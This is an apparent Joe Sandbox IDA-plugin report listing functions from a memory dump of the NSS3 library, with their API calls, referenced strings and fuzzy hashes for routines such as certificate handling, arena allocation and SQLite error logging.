Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: __acrt_iob_func$fclosefopensetvbufstrcmp
String ID: WinDebug
API String ID: 1416283249-2102910228
Opcode ID: 2c2469491d1a9b48f9e52488b0ed302007e65109cabd4e336d3d8bf90b1c9608
Instruction ID: 9aad1e947f4f43b811f7701e63858ae19d661668861d7a5f6acd66df60413373
Opcode Fuzzy Hash: 2c2469491d1a9b48f9e52488b0ed302007e65109cabd4e336d3d8bf90b1c9608
Instruction Fuzzy Hash: 71118262B01150ABFF007F2C8C0566A366CFB822DEF180125EB1AD7691EF25E81486E2

Function 6CCC4D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CCC4DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CCC4DE0

Strings

API call with %s database connection pointer, xrefs: 6CCC4DBD
misuse, xrefs: 6CCC4DD5
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CCC4DCB
invalid, xrefs: 6CCC4DB8
%s at line %d of [%.10s], xrefs: 6CCC4DDA

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 80cdfccba108d553061ac1c68eef751865d73707c9f0635a6be595132c126436
Instruction ID: 25e995d815a80f4e9643c279e8dd0f9f6c1979a1bd36351ae43f1effa47e72f1
Opcode Fuzzy Hash: 80cdfccba108d553061ac1c68eef751865d73707c9f0635a6be595132c126436
Instruction Fuzzy Hash: 8EF05911F085682BE700A255CC10FA633558F0271EF4649E1EE087BEB2F20AD88482D2

Function 6CCC4DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CCC4E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CCC4E4D

Strings

API call with %s database connection pointer, xrefs: 6CCC4E2A
misuse, xrefs: 6CCC4E42
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CCC4E38
invalid, xrefs: 6CCC4E25
%s at line %d of [%.10s], xrefs: 6CCC4E47

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 51062ad86d70d32ce7874ff9d8076044b56087a141ef51b6f02272e0d043a3d2
Instruction ID: da0a94412428beabee03150fc0ff8736a00cac69da6bcdbbb4b35237172ee00c
Opcode Fuzzy Hash: 51062ad86d70d32ce7874ff9d8076044b56087a141ef51b6f02272e0d043a3d2
Instruction Fuzzy Hash: 19F09E10F48828ABF71092618C10FA6B7858B0131DF4BC4A5EB08B7EB3E209D82542D3

Function 6CC30C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6CC31444,?,00000001,?,00000000,00000000,?,?,6CC31444,?,?,00000000,?,?), ref: 6CC30CB3

Part of subcall function 6CC9C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC9C2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6CC31444,?,00000001,?,00000000,00000000,?,?,6CC31444,?), ref: 6CC30DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6CC31444,?,00000001,?,00000000,00000000,?,?,6CC31444,?), ref: 6CC30DEC

Part of subcall function 6CC50F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6CBF2AF5,?,?,?,?,?,6CBF0A1B,00000000), ref: 6CC50F1A
Part of subcall function 6CC50F10: malloc.MOZGLUE(00000001), ref: 6CC50F30
Part of subcall function 6CC50F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CC50F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6CC31444,?,00000001,?,00000000,00000000,?), ref: 6CC30DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6CC31444,?,00000001,?,00000000), ref: 6CC30E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CC31444,?,00000001,?,00000000,00000000,?), ref: 6CC30E53
PR_GetCurrentThread.NSS3(?,?,?,?,6CC31444,?,00000001,?,00000000,00000000,?,?,6CC31444,?,?,00000000), ref: 6CC30E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6CC31444,?,00000001,?,00000000,00000000,?), ref: 6CC30E79

Part of subcall function 6CC41560: TlsGetValue.KERNEL32(00000000,?,6CC10844,?), ref: 6CC4157A
Part of subcall function 6CC41560: EnterCriticalSection.KERNEL32(?,?,?,6CC10844,?), ref: 6CC4158F
Part of subcall function 6CC41560: PR_Unlock.NSS3(?,?,?,?,6CC10844,?), ref: 6CC415B2

Part of subcall function 6CC0B1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6CC11397,00000000,?,6CC0CF93,5B5F5EC0,00000000,?,6CC11397,?), ref: 6CC0B1CB
Part of subcall function 6CC0B1A0: free.MOZGLUE(5B5F5EC0,?,6CC0CF93,5B5F5EC0,00000000,?,6CC11397,?), ref: 6CC0B1D2

Part of subcall function 6CC089E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6CC088AE,-00000008), ref: 6CC08A04
Part of subcall function 6CC089E0: EnterCriticalSection.KERNEL32(?), ref: 6CC08A15
Part of subcall function 6CC089E0: memset.VCRUNTIME140(6CC088AE,00000000,00000132), ref: 6CC08A27
Part of subcall function 6CC089E0: PR_Unlock.NSS3(?), ref: 6CC08A35

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: e0964189ef671c1a26600037a08c015f2a859cc167773dae2beb4eb800403697
Instruction ID: cc85b968adfe214ca2a70a857aa6bb00bafb124219f7d0dc0d49493a77b2e5b0
Opcode Fuzzy Hash: e0964189ef671c1a26600037a08c015f2a859cc167773dae2beb4eb800403697
Instruction Fuzzy Hash: AC51E7B6E002105FEB019F69EC81AAB37A8AF1521CF551064EC0997B42FB31ED1986A2

Function 6CBFE6B0 Relevance: 12.2, APIs: 8, Instructions: 191memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,00000000,?,?,6CC004DC,?,?), ref: 6CBFE6C9

Part of subcall function 6CC514C0: TlsGetValue.KERNEL32 ref: 6CC514E0
Part of subcall function 6CC514C0: EnterCriticalSection.KERNEL32 ref: 6CC514F5
Part of subcall function 6CC514C0: PR_Unlock.NSS3 ref: 6CC5150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000088,?,?,00000000,?,?,6CC004DC,?,?), ref: 6CBFE6D9

Part of subcall function 6CC510C0: TlsGetValue.KERNEL32(?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC510F3
Part of subcall function 6CC510C0: EnterCriticalSection.KERNEL32(?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC5110C
Part of subcall function 6CC510C0: PL_ArenaAllocate.NSS3(?,?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC51141
Part of subcall function 6CC510C0: PR_Unlock.NSS3(?,?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC51182
Part of subcall function 6CC510C0: TlsGetValue.KERNEL32(?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC5119C

memset.VCRUNTIME140(00000000,00000000,00000088,?,?,?,?,00000000,?,?,6CC004DC,?,?), ref: 6CBFE6F4
SECOID_SetAlgorithmID_Util.NSS3(00000000,00000000,00000004,00000000,?,?,?,?,?,?,?,00000000,?,?,6CC004DC,?), ref: 6CBFE703

Part of subcall function 6CC4BE60: SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CBFE708,00000000,00000000,00000004,00000000), ref: 6CC4BE6A
Part of subcall function 6CC4BE60: SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CC004DC,?), ref: 6CC4BE7E
Part of subcall function 6CC4BE60: SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CC4BEC2

CERT_FindCertIssuer.NSS3(?,?,6CC004DC,0000000B,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CBFE71E

Part of subcall function 6CBFC870: PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?,?,6CBF2D1A), ref: 6CBFC919

Part of subcall function 6CBFE5E0: PORT_ArenaMark_Util.NSS3(?,00000000,00000000,00000000,?,6CBFE755,00000000,00000004,?,?), ref: 6CBFE5F5
Part of subcall function 6CBFE5E0: PR_SetError.NSS3(FFFFE005,00000000,?), ref: 6CBFE62C

CERT_DestroyCertificate.NSS3(?), ref: 6CBFE8AF

Part of subcall function 6CBFE5E0: SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000000,?), ref: 6CBFE63E
Part of subcall function 6CBFE5E0: PK11_HashBuf.NSS3(?,?,?,?,?,?,?,?), ref: 6CBFE65C
Part of subcall function 6CBFE5E0: SECITEM_ZfreeItem_Util.NSS3(00000000,00000000,?), ref: 6CBFE68E

SECITEM_CopyItem_Util.NSS3(00000000,-00000030,?), ref: 6CBFE89E

Part of subcall function 6CC4FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CC48D2D,?,00000000,?), ref: 6CC4FB85
Part of subcall function 6CC4FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CC4FBB1

CERT_DestroyCertificate.NSS3(?), ref: 6CBFE885

Part of subcall function 6CBF95B0: TlsGetValue.KERNEL32(00000000,?,6CC100D2,00000000), ref: 6CBF95D2
Part of subcall function 6CBF95B0: EnterCriticalSection.KERNEL32(?,?,?,6CC100D2,00000000), ref: 6CBF95E7
Part of subcall function 6CBF95B0: PR_Unlock.NSS3(?,?,?,?,6CC100D2,00000000), ref: 6CBF9605

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Util$ArenaItem_$Value$CopyCriticalEnterSectionUnlock$Alloc_CertificateDestroyErrorFindMark_$AlgorithmAllocAllocateCertHashIssuerK11_Tag_Zfreememcpymemset
String ID:
API String ID: 27740541-0
Opcode ID: 81c474c30d7f02d24ab4a038d4d809479fc4f77a51c50d92e3c6480bfe23906e
Instruction ID: c50b255676c668bed38ced9e61a78546174358a4040f28ad9f8a441023887138
Opcode Fuzzy Hash: 81c474c30d7f02d24ab4a038d4d809479fc4f77a51c50d92e3c6480bfe23906e
Instruction Fuzzy Hash: AA618FB5D006499BEB09DF54CC40AFEB7B8EF09304F044269E9256B741FB359A4ACBE1

Function 6CBE6E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6CBE6ED8
sqlite3_value_text.NSS3(?,?), ref: 6CBE6EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6CBE6FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6CBE6FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6CBE6FF0
sqlite3_value_blob.NSS3(?,?), ref: 6CBE7010
sqlite3_value_blob.NSS3(?,?), ref: 6CBE701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6CBE7052

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
Opcode ID: 98532ee4adebba7924d6844888bb92b5657f3654d856b54ce5de086d74cd039d
Instruction ID: cd61c2d54faabc78542d257d3259a9dfdb4190928985fc3ab456346f11e409f9
Opcode Fuzzy Hash: 98532ee4adebba7924d6844888bb92b5657f3654d856b54ce5de086d74cd039d
Instruction Fuzzy Hash: E061D3B1E1428A8FDF00CFA8D8107EEB7B2AF89748F284168D515BB752E7359D05CB91

Function 6CC58F80 Relevance: 12.2, APIs: 8, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,FFFFE005,?,6CC57313), ref: 6CC58FBB

Part of subcall function 6CC507B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CBF8298,?,?,?,6CBEFCE5,?), ref: 6CC507BF
Part of subcall function 6CC507B0: PL_HashTableLookup.NSS3(?,?), ref: 6CC507E6
Part of subcall function 6CC507B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CC5081B
Part of subcall function 6CC507B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CC50825

SECOID_FindOID_Util.NSS3(?,?,?,FFFFE005,?,6CC57313), ref: 6CC59012
SECOID_FindOID_Util.NSS3(?,?,?,?,FFFFE005,?,6CC57313), ref: 6CC5903C
SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,FFFFE005,?,6CC57313), ref: 6CC5909E
PORT_ArenaGrow_Util.NSS3(?,?,?,00000001,?,?,?,?,?,?,FFFFE005,?,6CC57313), ref: 6CC590DB
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,FFFFE005,?,6CC57313), ref: 6CC590F1

Part of subcall function 6CC510C0: TlsGetValue.KERNEL32(?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC510F3
Part of subcall function 6CC510C0: EnterCriticalSection.KERNEL32(?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC5110C
Part of subcall function 6CC510C0: PL_ArenaAllocate.NSS3(?,?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC51141
Part of subcall function 6CC510C0: PR_Unlock.NSS3(?,?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC51182
Part of subcall function 6CC510C0: TlsGetValue.KERNEL32(?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC5119C

PR_SetError.NSS3(FFFFE005,00000000,?,?,?,FFFFE005,?,6CC57313), ref: 6CC5906B

Part of subcall function 6CC9C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC9C2BF

PR_SetError.NSS3(FFFFE005,00000000,?,FFFFE005,?,6CC57313), ref: 6CC59128

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Util$Error$ArenaFindValue$HashLookupTable$Alloc_AllocateCompareConstCriticalEnterGrow_Item_SectionUnlock
String ID:
API String ID: 3590961175-0
Opcode ID: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction ID: c6feaa2a3363e479357d2a8932d4a65de6d5fa55182ac560903e703bc118a48b
Opcode Fuzzy Hash: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction Fuzzy Hash: F451D3B0A002118FEB108F2ADC44B26B7F5AF84318F9544A9D915D7B51FB31E832CB95

Function 6CC5C6E0 Relevance: 12.1, APIs: 8, Instructions: 149COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,?,?,?,?,6CC571CF,?), ref: 6CC5C70F

Part of subcall function 6CC507B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CBF8298,?,?,?,6CBEFCE5,?), ref: 6CC507BF
Part of subcall function 6CC507B0: PL_HashTableLookup.NSS3(?,?), ref: 6CC507E6
Part of subcall function 6CC507B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CC5081B
Part of subcall function 6CC507B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CC50825

CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6CC571CF,?), ref: 6CC5C7B1

Part of subcall function 6CBF95B0: TlsGetValue.KERNEL32(00000000,?,6CC100D2,00000000), ref: 6CBF95D2
Part of subcall function 6CBF95B0: EnterCriticalSection.KERNEL32(?,?,?,6CC100D2,00000000), ref: 6CBF95E7
Part of subcall function 6CBF95B0: PR_Unlock.NSS3(?,?,?,?,6CC100D2,00000000), ref: 6CBF9605

PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,?,?,6CC571CF,?), ref: 6CC5C7D5
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6CC571CF,?), ref: 6CC5C811
CERT_DestroyCertificate.NSS3(?,?,?,?,?,?,6CC571CF,?), ref: 6CC5C841
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CC5C855
PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,?,?,6CC571CF,?), ref: 6CC5C868

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Util$Arena_CertificateDestroyFree$ErrorHashLookupTable$ConstCriticalEnterFindSectionUnlockValue
String ID:
API String ID: 1768726504-0
Opcode ID: fc537cff35ca18c10af1df844d24871b5193ba69ef4e89025439c59b561f8c00
Instruction ID: e2949363e451c58560560e9e969de657a8fc2d7f01db0c6b8dd29aad9fd18734
Opcode Fuzzy Hash: fc537cff35ca18c10af1df844d24871b5193ba69ef4e89025439c59b561f8c00
Instruction Fuzzy Hash: 28415F75E012119FEB00AE1ADC80B5677E9BF09798BA90164DC28DBB12F771F834C699

Function 6CC42470 Relevance: 12.1, APIs: 8, Instructions: 141COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6CC42D7C,6CC19192,?), ref: 6CC4248E
EnterCriticalSection.KERNEL32(02B80138), ref: 6CC424A2
memset.VCRUNTIME140(6CC42D7C,00000020,6CC42D5C), ref: 6CC4250E
memset.VCRUNTIME140(6CC42D9C,00000020,6CC42D7C), ref: 6CC42535
memset.VCRUNTIME140(?,00000020,?), ref: 6CC4255C
memset.VCRUNTIME140(?,00000020,?), ref: 6CC42583
PR_Unlock.NSS3(?), ref: 6CC42594
PR_SetError.NSS3(00000000,00000000), ref: 6CC425AF

Part of subcall function 6CC9C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC9C2BF

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: memset$Value$CriticalEnterErrorSectionUnlock
String ID:
API String ID: 2972906980-0
Opcode ID: d3fb14b680d5b45a8678030f386b3ba3194e05dbb161d7cfec17d39fe858aef2
Instruction ID: 23564083d8bfa80006b83e141b8353d2478ce8c1c65629b3b4ed8d7ac023cea9
Opcode Fuzzy Hash: d3fb14b680d5b45a8678030f386b3ba3194e05dbb161d7cfec17d39fe858aef2
Instruction Fuzzy Hash: F74105B1E003015BEB059F34CCAD7A93778FB99308F149A68DD45D7A92F770EA84C691

Function 6CC405A0 Relevance: 12.1, APIs: 8, Instructions: 127memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000000), ref: 6CC405DA

Part of subcall function 6CC50BE0: malloc.MOZGLUE(6CC48D2D,?,00000000,?), ref: 6CC50BF8
Part of subcall function 6CC50BE0: TlsGetValue.KERNEL32(6CC48D2D,?,00000000,?), ref: 6CC50C15

TlsGetValue.KERNEL32(00000000), ref: 6CC4060C
EnterCriticalSection.KERNEL32 ref: 6CC40629
TlsGetValue.KERNEL32(00000000), ref: 6CC4066F
EnterCriticalSection.KERNEL32 ref: 6CC4068C
PR_Unlock.NSS3 ref: 6CC406AA
PK11_GetNextSafe.NSS3 ref: 6CC406C3
PR_Unlock.NSS3 ref: 6CC406F9

Memory Dump Source

Source File: 00000000.00000002.2655323819.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2655277389.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655673154.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655794540.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655866987.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655911970.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2655951724.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$Alloc_K11_NextSafeUtilmalloc
String ID:
API String ID: 1593870348-0
Opcode ID: 66c6d852086ccb55e360445d4c567e5199072a939d15dfe61a0e58febed513c2
Instruction ID: 5315e6a05699c05f220c1663911f0d90fa60feef4ec030bc2f03ad576921cffd
Opcode Fuzzy Hash: 66c6d852086ccb55e360445d4c567e5199072a939d15dfe61a0e58febed513c2
Instruction Fuzzy Hash: 925147B4A45746CFDB00EF69C4846AABBF4BF54308F10C969CD999B701EB30E484CB92

Function 6CC4A470 Relevance: 12.1, APIs: 8, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CC4A4A6

Part of subcall function 6CC50840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CC508B4

PORT_Alloc_Util.NSS3(?), ref: 6CC4A4EC

Part of subcall function 6CC50BE0: malloc.MOZGLUE(6CC48D2D,?,00000000,?), ref: 6CC50BF8
Part of subcall function 6CC50BE0: TlsGetValue.KERNEL32(6CC48D2D,?,00000000,?), ref: 6CC50C15

memcpy.VCRUNTIME140(-00000006,?,?), ref: 6CC4A527
memcmp.VCRUNTIME140(00000006,?,?), ref: 6CC4A56D
